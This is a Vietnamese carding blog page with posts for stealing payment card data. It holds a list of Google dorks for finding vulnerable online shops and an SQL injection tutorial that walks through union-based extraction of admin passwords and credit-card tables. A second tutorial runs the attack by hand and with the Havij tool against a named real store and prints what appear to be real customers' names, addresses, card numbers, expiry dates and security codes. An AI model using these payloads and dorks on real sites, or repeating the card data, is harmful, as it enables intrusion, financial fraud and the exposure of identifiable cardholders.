Keyz Cenly Blog: UG

Share Ebook Hack Credit Card Written By HieuPC

Share Ebook Hack Credit Card Written By HieuPC

Link Mediafire: https://www.mediafire.com/?nqux8r5xawe5w

Truy cập vào tài khoản PayPal đã bị chặn một cách dễ dàng

<div dir="ltr" style="text-align: left;" trbidi="on">
 <a href="http://securitydaily.net/wp-content/uploads/2014/10/paypal.jpg"><img src="http://securitydaily.net/wp-content/uploads/2014/10/paypal-700x393.jpg" /></a> Nhà cung cấp dịch vụ thanh toán PayPal vừa phát hiện đang tồn tại lỗ hổng Authentication Restriction Bypass, có thể cho phép tin tặc qua mặt bộ lọc dữ liệu của các dịch vụ trực tuyến và truy cập trái phép vào một tài khoản PayPal bị chặn. PayPal là một công ty thuộc sở hữu của eBay, cung cấp một cách nhanh hơn và an toàn hơn dịch vụ trả tiền và được trả tiền. Dịch vụ này cung cấp cho mọi người những cách đơn giản để gửi tiền mà không phải chia sẻ thông tin tài chính, với hơn 148 triệu tài khoản đang hoạt động với 26 loại tiền tệ và trên 193 thị trường, từ đó xử lý hơn 9 triệu thanh toán hàng ngày. Lỗ hổng an ninh thực sự nằm trong các thủ tục xác thực API trên điện thoại di động của dịch vụ trực tuyến PayPal và nó không kiểm tra các tài khoản PayPal đang bị chặn và hạn chế. Trong trường hợp nếu một người dùng PayPal truy cập sai tên người dùng hoặc mật khẩu nhiều lần thì sau đó, vì lý do an ninh, PayPal sẽ hạn chế người sử dụng mở hoặc truy cập vào tài khoản của họ trên máy tính cho đến khi trả lời đúng một số câu hỏi bảo mật được cung cấp. Tuy nhiên, nếu cùng một người dùng, họ đồng thời chuyển sang thiết bị di động và cố gắng truy cập tạm thời vào tài khoản PayPal bị hạn chế với các thông tin chính xác thông qua API của ứng dụng PayPal di động, người dùng sẽ có thể truy cập vào tài khoản mà không cần cung cấp bất kỳ thông tin an ninh bổ sung nào. Lý do được lý giải rằng: “Việc kiểm tra người dùng chỉ bằng việc sử dụng API nếu tài khoản tồn tại, các API không kiểm tra một người dùng có bị chặn tài khoản hay không. Vì thế, người sử dụng bị chặn vẫn có quyền truy cập vào tài khoản PayPal của mình và thực hiện giao dịch, gửi tiền từ tài khoản”. Đối với một số lý do an ninh khác, chẳng hạn như ngăn chặn một kẻ gian lận thu quỹ bất hợp pháp, PayPal có thể tạm thời từ chối người dùng truy cập tài khoản PayPal của họ. Trong trường hợp này, một kẻ tấn công từ xa có thể đăng nhập thông qua các API điện thoại di động để truy cập thông tin tài khoản hoặc tương tác với các tài khoản bị xâm phạm. Lỗ hổng này ảnh hưởng đến các ứng dụng di động iOS cho cả iPhone và iPad. Lỗ hổng này trong PayPal đã được phát hiện khoảng một năm trước nhưng đến nay, bản vá cho lỗ hổng này vẫn chưa được phát hành.</div>

Truy cập vào tài khoản PayPal đã bị chặn một cách dễ dàng

Nhà cung cấp dịch vụ thanh toán PayPal vừa phát hiện đang tồn tại lỗ hổng Authentication Restriction Bypass, có thể cho phép tin tặc qua mặ...

NEW CC SHOP DORKS

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="_5pbx userContent" data-ft="{"tn":"K"}">
 
<h4 style="text-align: left;">
 InI Dork Untuk Carding</h4>
<h4>
</h4>
 inurl:".php?cat="+intext:"Paypal"+site:UK inurl:".php?cat="+intext:"/Buy Now/"+site:.net inurl:".php?cid="+intext:"online+betting" 
 inurl:".php?id=" intext:"View cart" inurl:".php?id=" intext:"Buy Now" inurl:".php?id=" intext:"add to cart" inurl:".php?id=" intext:"shopping" inurl:".php?id=" intext:"boutique" inurl:".php?id=" intext:"/store/" inurl:".php?id=" intext:"/shop/" inurl:".php?id=" intext:"toys" 
 inurl:".php?cid=" inurl:".php?cid=" intext:"shopping" inurl:".php?cid=" intext:"add to cart" inurl:".php?cid=" intext:"Buy Now" inurl:".php?cid=" intext:"View cart" inurl:".php?cid=" intext:"boutique" inurl:".php?cid=" intext:"/store/" inurl:".php?cid=" intext:"/shop/" inurl:".php?cid=" intext:"Toys" 
 inurl:".php?cat=" inurl:".php?cat=" intext:"shopping" inurl:".php?cat=" intext:"add to cart" inurl:".php?cat=" intext:"Buy Now" inurl:".php?cat=" intext:"View cart" inurl:".php?cat=" intext:"boutique" inurl:".php?cat=" intext:"/store/" inurl:".php?cat=" intext:"/shop/" inurl:".php?cat=" intext:"Toys" 
 inurl:".php?catid=" inurl:".php?catid=" intext:"View cart" inurl:".php?catid=" intext:"Buy Now" inurl:".php?catid=" intext:"add to cart" inurl:".php?catid=" intext:"shopping" inurl:".php?catid=" intext:"boutique" inurl:".php?catid=" intext:"/store/" inurl:".php?catid=" intext:"/shop/" inurl:".php?catid=" intext:"Toys"</div>
</div>

NEW CC SHOP DORKS

InI Dork Untuk Carding inurl:".php?cat="+intext:"Paypal"+site:UK inurl:".php?cat="+intext:"/Buy...

TUT Hack Shop – SQL Injection

<div dir="ltr" style="text-align: left;" trbidi="on">
Hack shop thì có nhiều cách nhưng sẽ có 1
 số cách chung. Bạn sẽ dễ dàng nhập vô bài viết hơn nếu bạn hiểu rõ cấu 
trúc cơ sở dữ liệu của SQL. Bạn nên cài xamp trên localhost và vào 
phpmyadmin để coi cấu trúc cơ sở dữ liệu (CSDL) SQL. Ok let’s go đi vào 
bài viết. 

################################ 

Muốn biết shop đó có dính lỗi SQL Injection (từ nay gọi tắt là SQL) thì đa phần các bạn hãy thêm dấu ‘ vào sau link: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a>‘ 
Nếu may mắn thì nó sẽ báo lỗi (tức là không trả về trang <a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> như bình thường). Đại khái là nó sẽ bào lỗi “Unclose”
 gì gì đó. Đôi khi các bạn sẽ gặp lỗi Jet database. Những shop đó dùng 
database là Jet chứ không phải là SQL. Vấn đề đó không đề cập tới trong 
bài viết. 

Ok nếu bạn đã biết được shop đó dính lỗi rồi thì sao nữa nhỉ? 

Cách 1: tốt nhất là bạn hãy dùng tool hack shop auto. . Nếu không được thì mới xuống dưới. 

Cách 2: 
<h4 style="text-align: left;">
Bước 1: thêm đoạn code sau vào sau link lỗi của shop</h4>
<h4>
</h4>
Quote:
and 1=convert(select top 1 table_name from information_schema.tables)–sp_password 
Nhớ có khoảng trắng trước chữ “and” 

Cụ thể sẽ là:
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> and 1=convert(select top 1 table_name from information_schema.tables)–sp_password 
Dịch nghĩa câu: “select top 1 table_name from information_schema.tables”
 ~~>>> đưa ra bảng đầu tiên từ bảng “information_schema.tables”
 (bảng information_schema.tables là bảng lớn nhất, tất cả các bảng khác 
đều lưu trong này) 

Đối với 1 số trường hợp sẽ phải có dấu phẩy ‘ ở sau số 15, cái này 
không biết trước được tùy từng shop các bạn nên linh động. Nếu 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> and 1=convert(select top 1 table_name from information_schema.tables)–sp_password 
<<<<< không được thì mình chơi thế này: 

Quote:
<a href="http://shop.com/product.asp?id=15&#8242" rel="nofollow">http://shop.com/product.asp?id=15&#8242</a>; and 1=convert(select top 1 table_name from information_schema.tables)–sp_password 
Sau khi enter thì nó sẽ hiện ra lỗi đại khái là: Syntax eror converting… value ‘table test’ to column of data… 
Khi đó chúng ta sẽ biết được table đầu tiên là “table test”. Còn nếu không hiện ra lỗi gì thì bỏ shop đó đi hoặc thử Cách khác. 


<h4 style="text-align: left;">
Bước 2: thêm đoạn code sau link lỗi của shop</h4>
<h4>
</h4>
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> and 1=convert(select top 1 table_name from information_schema.tables where table_name not in(‘table test’))–sp_password 
Dịch nghĩa “select top 1 table_name from information_schema.tables where
 table_name not in(‘table test’)” <<<<< đưa ra table_name
 đầu tiên trong “information_schema.tables” và table_name không phải là 
table test 

Nếu tới đây mà vẫn hiện ra lỗi như lỗi trên thì bạn hãy ngừng ngay 
lập tức ở đây. Bởi vì @ không hiểu vì sao bạn dùng tool hack shop auto 
không được mà dùng mấy đoạn code trên lại được nhỉ? Các tool hack shop 
auto hiện nay đều dùng các code trên để hack shop. Bạn hãy kiểm tra xem 
cái link shop bạn đưa vào tool đã đúng chưa. Vd : 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> 
<<<<< nhấn submit, nếu ko ra gì hết thì: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a>‘ 
Coi như xong cách này nhé. 

Cách 3:
1/. Xác định số column của shop (bạn sẽ hiểu hơn nếu bạn bik về cấu trúc CSDL). Thêm đoạn code sau vào link lỗi của shop
Quote:
order by 100 
<<< trước “order” có dấu cách, sau số 100 có thể thêm “/*” nếu cần:
Quote:
order by 100/* 
Cụ thể là: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 100 
Ở đây có 2 trường hợp: 

TH1: nếu trả về trang ban đầu thì
 sẽ TRUE tức là shop đó có số column lớn hơn hoặc bằng 100. Lúc đó bạn 
hãy tăng số 100 lên cho tới khi hiện ra lỗi như ở TH2. Vd:
Quote:
order by 150
TH2: nếu trả về trang ban đầu nhưng 
không có chữ (hoặc hiện ra lỗi) thì sẽ FALSE tức là shop đó có số column
 nhỏ hơn 100. Lúc đó bạn hãy giảm số 100 xuống cho tới khi hiện ra như ở
 TH1. Khó hiểu quá…Giả sử @ sẽ làm như sau: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 100 
<<<<< lỗi
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 50 
<<<< số column nằm trong khoảng 50 < column <100
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 70 
<<<< số column nằm trong khoảng 70 < column <100
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 80 
<<<< số column nằm trong khoảng 80 < column <100
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 90 
<<<< số column nằm trong khoảng 80 < column <90 

Tức là thu hẹp khoảng cách lại. Típ:
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 85 
<<<< số column nằm trong khoảng 85 < column <90
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 88 
<<<< số column nằm trong khoảng 85 < column <88
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 86 
<<<< số column nằm trong khoảng 86 < column <88
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> order by 87 
<<<< số column nằm trong khoảng 86 < column <87 

“order by 86″ không có lỗi nhưng “order by 87″ có lỗi thế thì suy ra số column là 86. Hiểu rồi chứ, thu hẹp lại… 

Bước 2: thêm đoạn code sau vào link lỗi
Quote:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13……………,83,84 ,85,86 
<<<< các bạn phẩy tới khi nào tới 86 thì thôi nhé. 

Nếu hiện ra 1 trang bảo đại khái là: Syntax “union select” thì bỏ đi 
shop đó không ăn được đâu. Còn nếu nó hiện ra 1 trang trên đó có các số,
 bạn hãy lưu các số hiện ra trên màn hình lại. Bạn có thể thêm limit 1,1
 (limit 0,1) sau đuôi 83,84,85,86 nếu nó chẳng hiện ra số nào cả.Vd: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> union select 1,2,3,4,5,6,7,8,9,10,11,12,13……………,83,84 ,85,86 limit 1,1
Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> union select 1,2,3,4,5,6,7,8,9,10,11,12,13……………,83,84 ,85,86 limit 0,1 
Lưu mấy số hiện ra trên màn hình rồi chứ? Ok giờ thay chữ “table_name” 
vào 1 trong các số đấy. Vd: của mình hiện ra số 2,3,5. Ok thay chữ 
table_name và 1 trong 3 số đó. Vd: 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a> union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13………… …,83,84,85,86 from information_schema.tables limit 1,1 
Giờ nó sẽ hiện ra tables đầu tiên, lấy tables tiếp theo thì thêm where table_name not in(‘table đầu tiên’) 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a>
 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13………… …,83,84,85,86 
from information_schema.tables where table_name not in(‘table đầu tiên’)
 limit 1,1 
Ra table thứ 2, rùi cứ típ tục thêm dấu phẩy sau table thứ nhất, viết table thứ 2 vào hoặc dùng limit 2,1 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a>
 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13………… …,83,84,85,86 
from information_schema.tables where table_name not in(‘table đầu 
tiên’,’table thứ 2′) limit 1,1 
hoặc 

Quote:
<a href="http://shop.com/product.asp?id=15" rel="nofollow">http://shop.com/product.asp?id=15</a>
 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13………… …,83,84,85,86 
from information_schema.tables where table_name not in(‘table đầu tiên’)
 limit 2,1 
Nói chung tùy từng trường hợp 

Khi lấy tới table có user và pass admin hoặc tables lưu CC rùi thì dừng lại. Thêm đoạn code sau vào link shop lỗi. 

Quote:
union select 
1,column_name,3,4,5,6,7,8,9,10,11,12,13……….. ….,83,84,85,86 from 
information_schema.columns where table_name in(‘table chứa cc hoặc u 
& p admin’) limit 1,1 
Chú ý: thêm limit 1,1 nếu cần 

Ra column đầu tiên dùng típ đoạn code sau: 

Quote:
union select 
1,column_name,3,4,5,6,7,8,9,10,11,12,13……….. ….,83,84,85,86 from 
information_schema.columns where table_name in(‘table chứa cc hoặc u 
& p admin’) and column_name not in(‘column đầu tiên’) limit 1,1 
Rồi cứ làm như lấy tables thứ 2 thứ 3 

Khi đã ra hết các column thì bi giờ đi vào phần sướng nhứt. Dùng code sau: 

Quote:
union select 1,concat(column đầu 
tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 
4),3,4,5,6,7,8,9,10,11,12,13……………,83,84, 85,86 from table chứa cc hoặc u
 & p admin limit 1,1 
Lấy cc thứ 2 dùng code sau: 

Quote:
union select 1,concat(column đầu 
tiên,0x2f,column thứ 2,0x2f,column thứ 3,0x2f,column thứ 
4),3,4,5,6,7,8,9,10,11,12,13……………,83,84, 85,86 from table chứa cc hoặc u
 & p admin and column thứ nhất not in(‘phần đầu của cc đầu tiên’) 
limit 1,1 
Típ theo thì cứ như lấy table thứ 2 , thứ 3 ý, cứ thêm đầu phẩy vào và enjoy. 

End tut. 
<div style="text-align: right;">
Nguồn: securityforall</div>
</div>

TUT Hack Shop – SQL Injection

Hack shop thì có nhiều cách nhưng sẽ có 1 số cách chung. Bạn sẽ dễ dàng nhập vô bài viết hơn nếu bạn hiểu rõ cấu trúc cơ sở dữ liệu của S...

Hướng dẫn Hack Shop bằng tay và Havij

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkwX-2CdkTnoXFjQjJo2vzgK24_gSYRe2BU5r528dLB4Qm__q3wGN5urU72Ss9DwX0yoAf1NieER-s4z3kYjUnPxYOZFFpDfU9DSpzeyLjhaaCrjlG6fIwmeBMPG98LyNuKmgl4ORoZ6pe/s1600/proxy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkwX-2CdkTnoXFjQjJo2vzgK24_gSYRe2BU5r528dLB4Qm__q3wGN5urU72Ss9DwX0yoAf1NieER-s4z3kYjUnPxYOZFFpDfU9DSpzeyLjhaaCrjlG6fIwmeBMPG98LyNuKmgl4ORoZ6pe/s1600/proxy.jpg" width="313" /></a></div>
VICTIM: <a href="http://www.deanaccessories.com/index.php?do=products&category_id=18" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18</a> 
Mới được share trên DF, làm TUT luôn :D 
<h2 style="text-align: left;">
Phần 1: Bằng tay:</h2>
<h2>
</h2>

Site này lỗi Injection, không nói gì nhá: <a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%27" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18′</a> 

Đếm số column. Bạn để ý sự khác biệt trong 2 link sau:
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%201--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 1–</a> 
và
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%2010--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 10–</a> 

Khi mình query order by 1, không có lỗi, tức là phép query TRUE. 
Khi query 10 lỗi vì số column không tới 10 nên gặp lỗi. 
Bạn hãy suy nghĩ, 10 lỗi, chưa chắc là số column là 9. lần lượt order by từ 1 tới 10. 
Theo kinh nghiệm, mình sử dụng order by 10, nếu lỗi thì 5, phương pháp tìm kiếm đó :D 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%205--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 5–</a>  <= TRUE
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%207--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 7–</a>  <= TRUE
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%208--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 8–</a>  <= TRUE
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20order%20by%209--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 order by 9–</a>  <= FALSE 

order by 8 TRUE, còn 9 lỗi suy ra có 8 column. 

Tiếp tục union để lấy tables: 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,3,4,5,6,7,8--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 and 1=0 union select 1,2,3,4,5,6,7,8–</a> 

Column lỗi là số 3 (nó sẽ hiện ra). 

Tiếp theo sẽ lấy version của My SQL. Tại sao phải lấy??? 
Đối với Version 5, việc lấy các tables thì đơn giản, nhưng Version 4, phải đoán :(. Gặp Ver 4 là bỏ thôi 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,version%28%29,4,5,6,7,8--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18 and 1=0 union select 1,2,version(),4,5,6,7,8–</a> 


 
<div>
5.1.26-rc-5.1.26rc</div>

Ver 5 này  :D 

Giờ là lấy tables:
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,group_concat%28table_name%29,4,5,6,7,8%20from%20information_schema.tables--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18  and
 1=0 union select 1,2,group_concat(table_name),4,5,6,7,8 
from  information_schema.tables–</a> 


 
<div>
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,</div>


 
<div>
COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,</div>


 
<div>
KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,</div>


 
<div>
ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,</div>


 
<div>
TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,</div>


 
<div>
dean_admin_users,dean_attributes,dean_cart,dean_categories,dean_coupons,dean_orders,dean_orders_products,</div>


 
<div>
dean_products,dean_products_attributes,dean_reviews,dean_shipping,dean_sub_attributes</div>

Thường thì CC hay chứa ở các table như order custommer, users. Ở đây mình thử coi cái table dean_orders xem. 

Vào trang: <a href="http://www.string-functions.com/string-hex.aspx" target="_blank">http://www.string-functions.com/string-hex.aspx</a> để converter chuỗi qua HEX để query. 

Converter chuỗi: dean_orders sẽ được 6465616e5f6f7264657273 

Tiếp theo lấy column:
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,group_concat%28column_name%29,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name%20in%280x6465616e5f6f7264657273%29--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18  and
 1=0 union select 1,2,group_concat(column_name),4,5,6,7,8 
from  information_schema.columns where 
table_name  in(0x6465616e5f6f7264657273)–</a> 


 
<div>
order_id,customer_email,customer_phone,billing_fname,billing_lname,billing_address1,billing_address2,</div>


 
<div>
billing_city,billing_state,billing_zip,shipping_fname,shipping_lname,shipping_address1,shipping_address2,</div>


 
<div>
shipping_city,shipping_state,shipping_zip,coupon_code,coupon_code_total,cc_type,cc_number,cc_exp_month,</div>


 
<div>
cc_exp_year,cc_code,shipping_method,shipping_instructions,shipping_total,tax_name,tax_total,order_total,</div>


 
<div>
payment_method,remote_ip,order_date</div>

Bạn thấy gì chưa: cc_number,cc_exp_month,cc_exp_year,cc_code CCV nè :-P 

Lấy data nào:
<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,group_concat%28order_id,0x7c,billing_fname,0x7c,billing_lname,0x7c,billing_address1,0x7c,billing_address2,0x7c,billing_city,0x7c,billing_state,0x7c,billing_zip,0x7c,cc_type,0x7c,cc_number,0x7c,cc_exp_month,0x7c,cc_exp_year,0x7c,cc_code%29,4,5,6,7,8%20from%20dean_orders--" target="_blank">http://www.deanaccessories.com/index.php?do=products&category_id=18  and
 1=0 union 
select  1,2,group_concat(order_id,0x7c,billing_fname,0x7c,billing_lname,0x7c,billing_address1,</a> 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,group_concat%28order_id,0x7c,billing_fname,0x7c,billing_lname,0x7c,billing_address1,0x7c,billing_address2,0x7c,billing_city,0x7c,billing_state,0x7c,billing_zip,0x7c,cc_type,0x7c,cc_number,0x7c,cc_exp_month,0x7c,cc_exp_year,0x7c,cc_code%29,4,5,6,7,8%20from%20dean_orders--" target="_blank">0x7c,billing_address2,0x7c,billing_city,0x7c,billing_state,0x7c,billing_zip,0x7c,cc_type,0x7c,</a> 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18%20and%201=0%20union%20select%201,2,group_concat%28order_id,0x7c,billing_fname,0x7c,billing_lname,0x7c,billing_address1,0x7c,billing_address2,0x7c,billing_city,0x7c,billing_state,0x7c,billing_zip,0x7c,cc_type,0x7c,cc_number,0x7c,cc_exp_month,0x7c,cc_exp_year,0x7c,cc_code%29,4,5,6,7,8%20from%20dean_orders--" target="_blank">cc_number,0x7c,cc_exp_month,0x7c,cc_exp_year,0x7c,cc_code),4,5,6,7,8  from dean_orders–</a> 

7c là dấu | để ngăn cách column đó. 
Cái gì nó hiện ra kìa  :D 


 
<div>
256|DAWN  SORA|YANG|385 E GREEN STREET
 
UNIT  2604||PASADENA|CA|91101|Visa|4356030403082778|4|2014|876,184|Ashley|Palmer|526  Via
 de la Valle Unit 
A||Solana  Beach|CA|92075|Visa|4217661433996162|2|2013|183,183|ryan|widger|1119  earl  street||philadelphia|PA|</div>


 
<div>
19125|Visa|4430480001337514|10|2011|759,233|Marek|Bute|10621  San
 Palatina 
St.||Las  Vegas|NV|89141|Visa|4868302094482000|1|2012|954,234|Adam|Best|30
 W  90th|Apt 
3C|New  York|NY|10024|Visa|4124570009851440|11|2011|242,237|Natalia|Hryckiwskyj|3008  Granite  Rd||Woodstock|MD|</div>


 
<div>
21163|Visa|4828500530055020|9|2011|602,239|Shannon|DeWolfe|720  W
 
Grace  #1N||Chicago|IL|60613|Visa|4266841228278030|5|2012|104,169|Jaime|Halla|3600  Fillmore
 St. 
#308||San  Francisco|CA|94123|MasterCard|5287161991844013|7|2011|333,170|Stacey|Bloomston|120  Camellia  Drive||Birmingham|AL|</div>


 
<div>
35213|Visa|4325224200204374|12|2012|410,278|Terry|Miller|3408  Ashe
 
Road  #D||Bakersfield|CA|93309|Visa|4460248704648609|5|2013|916,232|renee|zavislak|5235  diamond
 heights blvd.|apt. 226|san francisco|CA|94131|Visa|446542039</div>

Không  phải chỉ có thế thôi nha, muốn lấy tiếp, ta cho điều kiện sau 
truy vấn  là order_id>=232. 232 là cái order_id của CC cuối trong 
trang này. 
Một số shop bị xóa CC Num, để lọc, ta có thể thêm where cc_num>0. Đó là kinh nghiệm thôi nha :D 


 
<h2 style="text-align: left;">
Phần 2: Bằng Havij:</h2>

Tool có thể down trên trang chủ: <a href="http://itsecteam.com/en/projects/project1_page2.htm" target="_blank">http://itsecteam.com/en/projects/project1_page2.htm</a> 
hoặc: <a href="http://www.mediafire.com/?tjv03bj5yy354a0" target="_blank">http://www.mediafire.com/?tjv03bj5yy354a0</a> 

Mở Havij lên, dán link shop vào Target 

<a href="http://www.deanaccessories.com/index.php?do=products&category_id=18" rel="nofollow">http://www.deanaccessories.com/index.php?do=products&category_id=18</a> 

Nhớ rằng phải để cái id=xx. 

Click Analyze. 

Nó sẽ tự truy vấn và tìm database cho mình: 


 
<div>
DB Server: MySQL >=5
Selected Column Count is 8
Finding string column
Valid String Column is 1
Target Vulnerable :D
Current DB: deanaccessories_com_-_main</div>

Get Tables: 
Click vào Get Tables sẽ ra các table có trong database deanaccessories_com_-_main. 
Get Column: 
Như nãy, ta biết CC nằm ở Table Dean_orders, vì vậy mình sẽ check chọn table dean_orders và click vào Get Columns 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTEiOgrdvAU-s6zbc-W3d8ErYnpraiMmvy6D1wzdNl1zv5dDKU1ZvEFh1O2GBTM6fnmOBr0F1h43GSa16R6DBbgKuwzP2T0pvujzdOUEHuIZL-OobLX6nrxZpxpxLefBg0Wwk7_9vx9i60/s1600/proxy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTEiOgrdvAU-s6zbc-W3d8ErYnpraiMmvy6D1wzdNl1zv5dDKU1ZvEFh1O2GBTM6fnmOBr0F1h43GSa16R6DBbgKuwzP2T0pvujzdOUEHuIZL-OobLX6nrxZpxpxLefBg0Wwk7_9vx9i60/s1600/proxy.jpg" width="313" /></a></div>
 



Check chọn những column cần thiết liên quan tới CC:
First name
Last name
Address 1
City
State
Zip
Country
CC num
CC EXP
CC Code 

Chọn và click vào Get Data. 


 
<div>
Count(*) of deanaccessories_com_-_main.dean_orders is 201</div>

Tức là có 201 orders 

Ngồi chờ cho nó Get xong và save data lại thôi :dalongnheo. 

À, như phần 1, lọc điều kiện, nếu shop có nhiều order không có CC num, ta lọc bằng Havij như sau: 

Click vào mũi tên bên cạnh nút Get Data chọn Filter: 

<img alt="" class="aligncenter" height="640" src="http://i1095.photobucket.com/albums/i463/aptx4869w/2-17.jpg" width="627" /> 
gõ vào điều kiện của CC num, như shop này là: cc_number>0 
Tức là chỉ lấy những data nào có column cc_number không trống. 

Đơn giản và dễ hiểu phải không nào :D 

END. Mình còn newbie, các pro đừng chém nha 
<div style="text-align: right;">
 TUT by phongdatgl</div>
</div>

Hướng dẫn Hack Shop bằng tay và Havij

VICTIM: http://www.deanaccessories.com/index.php?do=products&category_id=18 Mới được share trên DF, làm TUT luôn :D Phần 1: Bằng...